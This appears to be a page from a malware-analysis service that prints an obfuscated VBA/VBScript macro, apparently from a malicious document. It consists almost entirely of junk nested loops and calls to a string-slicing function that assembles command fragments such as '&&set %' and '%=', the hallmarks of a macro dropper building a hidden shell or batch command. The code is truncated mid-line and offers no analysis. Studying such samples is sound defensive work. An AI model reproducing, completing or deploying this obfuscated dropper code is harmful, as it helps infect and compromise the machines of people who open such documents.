zqFQzY rDZaOw = 55133 - HYFWK For Each KYRQZ In Nkvia OcQQq = lXEhw Next Next For Each AJzMq In rcDrB WGava = 92825 - UPGtFa For Each aozzd In IiiNAj ricnB = IVuciG Next Next DwpWW = qTwCB("6YJifHwSjikFuiIH&&se4Q", 5, 16) For Each lwKtQ In mknDfE WvscM = 91567 - YrpnTr For Each RkjLOt In tMUkw znDbw = oHNdSP Next Next For Each htzPw In dKLUpa mzcGw = 87028 - RTAsM For Each BqrqpA In ftFCH NPViB = qqHzM Next Next NZLOmiN = qTwCB("dI!&&set %DCi5b2", 3, 7) For Each ukPHNs In CArnS ipZWs = 83165 - zifwwp For Each kWFtsf In vPkXf zEQWb = IXSQU Next Next For Each PVmFIw In wlpbd YiOcJi = 12641 - PYsPDb For Each KEZXjq In GjwTLJ JFrOfd = wqwKMJ Next Next RzYFCWGT = qTwCB("CSoOsh %JPzbkdCVd5G", 7, 11) For Each wtqFW In lhPEt uYijpX = 94677 - FTAAYz For Each NNbMX In iJqFOo McqnVi = XSJInP Next Next For Each qKuTCp In aSjVu RVmVH = 48415 - jSGoE For Each Muhcl In manYm wzwYMd = QYKti Next Next jaIZAor = qTwCB("46iv1Q%=odhRANaw&&sTq", 6, 9) For Each GcPBYE In PlcZt vEIviw = 99536 - IaSHFc For Each osBAw In ipXYOT UMWZfV = RHcjwi Next Next For Each tTlZY In Jsradw KEjAW = 60011 - YLNKHz For Each ofGPhZ In LziqX pKbIE = lTCliX Next Next AlKMvMqz = qTwCB("Y %%usBd", 4, 2) For Each olhGa In anUNk vYwwG = 2202 - wGwNk For Each GTMWm In bsckbi HZzkUz = wIPpUv Next Next For Each GJTBq In NaJbCB SVwCj = 93621 - vQjqFu For Each diziD In FkbDa UpTMS = NjshBn Next Next wLRicFMVVWW = qTwCB("r42l6Q&&set %YMr", 7, 8) For Each UJiqc In wvSksK woEhtt = 52914 - bobDN For Each rObvj In WjDbt bdaCFb = arYbK Next Next For Each EjKRY In OSkwij nuMimC = 48060 - WWIjmz For Each jcHDGl In qjZobE RosjH = fUFKw Next Next iDzjwbOrHL = qTwCB("t1e&&set %VJOUGqAAHIaUlwjNU5", 3, 19) For Each EhKChm In djIpfa tEcIzb = 39476 - FhPzfp For Each OXzEJ In MfhrCi jIzNJN = bswMX Next Next For Each AGANo In YZPzOt ZvUCwj = 9537 - JTEDL For Each NAtHz In hwZPRu GVWtbi = ZOnqo Next Next GilXautJdNz = qTwCB(",hmO%!z,", 5, 2) For Each rOrnw In dTKZV PHucVE = 72361 - mwlnZ For Each UupzND In duTFm HRaww = DMaWw Next Next For Each sMlWKj In BOREF qjdUwf = 46046 - VJCkhw For Each XNfDM In iBJCzP BKajL = LOhQJ Next Next ODUzr = qTwCB("L8set %YPBTdHoU3UFNqE", 3, 13) For Each wPWCi In ckpiBl sBIiT = 33064 - QJaLjT For Each jnIpw In CQYLz QXfZWI = jTzDjO Next Next For Each wizzDr In zVzOL TEzWQa = 96728 - JjuMUk For Each wTDsb In GsBpz PLCit = loJGj Next Next GlAZJLUSEGz = qTwCB("ivXAUVCAG%!&&set %MFE3NoO", 2, 19) For Each XvFpv In ljHBw wWjRN = 23498 - jSPifH For Each AJivK In klUjER wDNDNM = iXTTb Next Next For Each rUzNW In GZJpfa tRcVH = 71766 - oczrj For Each wijXR In FYCar EVRNbB = wbfWHM Next Next ZInYZCut = qTwCB("BOv,j4v", 2, 1) For Each YfMOV In jWAYt YHVjrr = 69925 - CQGaBz For Each iYTLYK In AZLnF OiUtUp = rdsofX Next Next For Each dukJj In wFRXL mdwWjn = 89538 - fKZSk For Each jMHVmW In pufzC YFzvUF = uqEki Next Next asMZciJEmv = qTwCB("f944zBqWFiXiY&&f@", 5, 11) For Each DGZTU In Yjakz lpozjS = 45278 - GWShPF For Each dFpIX In fTAQbL izzVzz = QSzGlM Next Next For Each PNiLC In XtAhs snaldU = 29232 - CPBFLo For Each RBLBH In SGtKz BRzKAb = NbAqG Next Next LuMkBabhcNY = qTwCB("vjoVwNDFTS%=edhRANar&&set YZj", 6, 16) For Each tDJzL In zOwFsp kXZhja = 60156 - NQDFAd For Each biRLEu In JJGhh aDLGVV = snuTQb Next Next For Each jXzvR In PTiXj OmvCrU = 84558 - KhniRi For Each MFrMHE In ClKjvi ILOXWY = QLkqu Next Next OqMQXrUrniL = qTwCB("i@p%WstNRMQ", 4, 5) For Each NzkVij In DOnLbr kKsIZ = 26242 - BVYGu For Each fwuGW In ZiCBo LshuY = vfGVF Next Next For Each ITfhd In ufEHdB WtMDDU = 79638 - qAVAO For Each Jiodwt In fdjsY NachaT = ZXfzjN Next Next Scnjakr = qTwCB("GJj3cN Cl", 7, 1) For Each wSSJhO In lwPiiI qPdLf = 84328 - pNSujX For Each mDpzk In ONKZL jbiND = LViHCo Next Next For Each utoDA In ZOrvE cbDMQA = 16386 - FYtjd For Each IuMmX In PkIEzc iVotV = ARtoNT Next Next YXakkKfJZ = qTwCB("uXmoHMqN%=TmqLfj9", 2, 11) For Each amOVAI In mPfBF XYrSw = 24897 - mdrRiX For Each cvOFz In tGcWm rCbPp = owCcab Next Next For Each jhazm In oJQURr VuWZn = 8530 - aqHPBE For Each CpfQHL In zLFjGc shcEV = jEGhbs Next Next orfjHXKfIH = qTwCB("itCPbsetlYd", 6, 3) For Each qqZKzi In lTlEJ oXjQqh = 54183 - iIfLfM For Each wjzoO In nHmvm UbYvY = pDIUpr Next Next For Each QUFwRJ In DGaTI MhEGOs = 79665 - jzZoC For Each hATuDi In ldPoP FFBPO = Hhnmw Next Next AJmQRnM = qTwCB("NzLQjXSOArvs3d", 3, 7) For Each rRjjV In JPXZCn PiXbEp = 34606 - ZjCikK For Each uEtOUj In MiBIj AujDOj = hkFjzj …

Open this report in the interactive analyzer, or submit your own file for analysis.